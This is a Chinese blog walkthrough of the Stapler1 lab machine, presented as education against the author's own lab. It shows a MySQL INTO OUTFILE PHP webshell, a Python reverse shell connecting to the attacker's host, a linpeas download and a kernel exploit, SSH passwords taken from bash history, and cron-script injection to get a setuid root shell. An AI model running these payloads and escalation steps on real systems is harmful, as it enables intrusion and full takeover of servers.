【网络安全】红队渗透项目之Stapler1(下)

声明:本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

六、Mysql攻陷服务器

1、mysql INTO OUT文件上传

MySQL中你可以使用SELECT…INTO OUTFILE语句来简单的导出数据到文本文件上。

1)INTO OUT 写入shell.php

mysql -uroot -pplbkac -h 192.168.40.152
select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php"; 

2)查看是否写入成功

https://192.168.40.152:12380/blogblog/wp-content/uploads/ 

写入成功!

3)URL执行cmd命令

https://192.168.40.152:12380/blogblog/wp-content/uploads/shell.php?cmd=id 

可看到一句话成功写入,利用一句话特性执行了命令获得服务器信息回显!

2、一句话触发反弹shell

1)查看是否可以用Python写入一句话

https://192.168.40.152:12380/blogblog/wp-content/uploads/shell.php?cmd=which%20python 

存在python模块!直接利用!

2)开启nc监听

nc -lvp 8887 

本地kali开启好监听!

3)在cmd URL写入Python一句话,反弹shell到本地kali

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.149",8887));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

反弹成功,获得shell

七、内网信息枚举

通过以上各种方法获取到服务器权限后,开启内部信息收集工作!将利用linpeas枚举脚本进行探测行为!

【相关技术文档】> 1、网络安全学习路线> 2、电子书籍(白帽子)> 3、安全大厂内部视频> 4、100份src文档> 5、常见安全面试题> 6、ctf大赛经典题目解析> 7、全套工具包> 8、应急响应笔记

1、Linpeas文件上传

开启Python http服务,上传linpeas.sh脚本对靶机进行信息收集:

python -m SimpleHTTPServer 8082
wget http://192.168.40.149:8082/linpeas.sh 

成功上传!

2、赋权并执行脚本

chmod +x linpeas.sh
/linpeas.sh 

赋权后执行该脚本,开始查看收集到的信息,筛查提炼!

3、内部信息收集筛查

1)发现版本信息

可以尝试内核提权!

2)发现用户信息枚举\

JKanode:x:1013:1013::/home/JKanode:/bin/bash
peter:x:1000:1000:Peter,,,:/home/peter:/bin/zsh
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare) 

peter用户可利用sudo提权!

3)发现数据库信息泄露

之前已经查找到MySQL账户密码!内部也是能枚举到的!

4)发现可写入sh文件

可尝试写入sh文件,漏洞利用提权!

八、提权-三种方法

1、内核提权-方法1

1)kali搜索版本信息,是否存在漏洞

查找版本漏洞:

searchsploit Linux Kernel 4.4.x 

可以利用linux/local/39772.txt!

2)39772利用

下载到本目录:

cp /usr/share/exploitdb/exploits/linux/local/39772.txt . 

查看39772如何利用:

cat 39772.txt 

提示需到exploit-DB下载39772.zip文件!

3)wget下载39772.zip

proxychains wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip 

成功下载!如果不行挂代理下载!

4)开启http服务,上传到项目

python -m SimpleHTTPServer 8085
wget http://10.211.55.19:8085/39772.zip 

利用wget连接本地的http服务成功上传文件!

5)解压并枚举

unzip 39772.zip解压39772.zip文件
cd 39772 到39772目录下
tar xvf exploit.tar解压exploit.tar,发现ebpf_mapfd_doubleput_exploit目录
cd ebpf_mapfd_doubleput_exploit 到该目录下,发现compile.sh文件
chmod +x compile.sh 给sh文件赋权 

通过zip解压后开始利用!

6)执行文件提权

./compile.sh执行sh文件
ls查看,发现是由gcc编译的.c文件
./doubleput 执行.c文件 

成功拿到root权限!

2、SSH-sudo登录内核提权-方法2

利用ssh信息收集技巧查看信息!

1)枚举ssh信息

grep 指令用于查找内容包含指定的范本样式的文件,如果发现某文件的内容符合所指定的范本样式,预设 grep 指令会把含有范本样式的那一列显示出来。若不指定任何文件名称,或是所给予的文件名为 -,则 grep 指令会从标准输入设备读取数据。

grep -rn "ssh" ---枚举当前目录下存在ssh信息的内容 
JKanode/.bash_history:6:sshpass -p thisimypassword ssh JKanode@localhost
JKanode/.bash_history:8:sshpass -p JZQuyIN5 peter@localhost 

发现2个用户密码:

用户1:peter,密码:JZQuyIN5
用户2:JKanode密码:thisimypassword 

这时候利用账号密码尝试登录!

2)ssh登录用户

JKanode用户登录枚举:

ssh JKanode@192.168.40.152
thisimypassword 

没什么信息!

peter用户登录枚举:

ssh peter@192.168.40.152
JZQuyIN5 

登录进去发现这是zsh的shell!,并且可以sudo提权!

3)sudo提权

用户信息枚举就发现peter用户存在sudo提权漏洞,查看sudo给与的权限:

sudo -l
User peter may run the following commands on red:(ALL : ALL) ALL 

可看到给与的权限为ALL最高权限!直接sudo提权:

sudo su 

成功提权root!

3、计划任务+可写文件提权-方法3

在内网信息枚举的时候发现可写入sh文件漏洞利用:

[+] .sh files in path
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path
You can write script: /usr/local/sbin/cron-logrotate.sh 

1)查找和logrotate相关的文件信息

利用find全局枚举该文件信息:

find / -name logrotate* 2>/dev/null 

发现/etc/cron.d/logrotate文件!

2)查看/etc/cron.d/logrotate文件

cat /etc/cron.d/logrotate
*/5 * * * * root/usr/local/sbin/cron-logrotate.sh 

可看到每五分钟运行一次cron-logrotate.sh!

3)写入dash代码

echo "cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit" >> /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh 

通过写入代码内容为,复制dash到tmp目录下并赋予最高权限!在tmp目录下生成了exploit可执行文件!

4)运行exploit,获得root权限

/tmp/exploit -p 

因为写入的是dash,用-p获取root

获得root权限!获得flag:

cd /root
cat flag.txt 

获得flag信息!

九、知识拓展小技巧

smbclient连接共享小技巧

Linux smbclient命令可存取SMB/CIFS服务器的用户端程序。SMB与CIFS为服务器通信协议,常用于Windows95/98/NT等系统。smbclient(samba client)可让Linux系统存取Windows系统所分享的资源。

smbclient -L //192.168.40.152
-L 显示服务器端所分享出来的所有资源 

之前已知kathy和tmp是开放的!

1)连接这2个文件夹

连接kathy文件夹:

smbclient ///kathy -I 192.168.40.152 -N

-I<IP地址> 指定服务器的IP地址
-N 不用询问密码

cd kathy_stuff
get todo-list.txt
cd backup
get vsftpd.conf
get wordpress-4.tar.gz 


通过命令连接后发现三个文件信息都成功下载!

**连接tmp文件夹:**

连接tmp文件夹,下载文件ls至本地

smbclient ///tmp -I 192.168.40.152 -N
get ls


<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/25d5665021dc48bb9306048dc7a75bac~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)[](https://link.juejin.cn/?target=" style="margin: auto" />

通过命令连接后发现文件信息都成功下载!

**2)枚举文件信息**

<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/0f8f929150a84e2eb9884f00be239260~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)[](https://link.juejin.cn/?target=" style="margin: auto" />

成功下载4个文件后,通过阅读查看均无可用信息!

十、总结
====

通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如nmap全端口信息枚举、FTP信息枚举、Samba信息收集、暴力破解ssh信息枚举、nc信息枚举666端口、枚举12380端口信息收集、Wpscan信息收集、39646 exp利用、Mysql信息枚举、John暴力破解、php-webshell文件上传利用、weevely文件上传利用、webacoo文件上传利用、Msfconsole文件上传上线webshell、mysql INTO OUT文件上传攻陷服务器、Linpeas信息枚举、内核提权、SSH-sudo登录内核提权、计划任务+可写文件提权等等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!

希望大家提高安全意识,没有网络安全就没有国家安全!<img src="https://i-blog.csdnimg.cn/blog_migrate/08c3b846393bdaea6409358cbf194580.jpeg" />
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值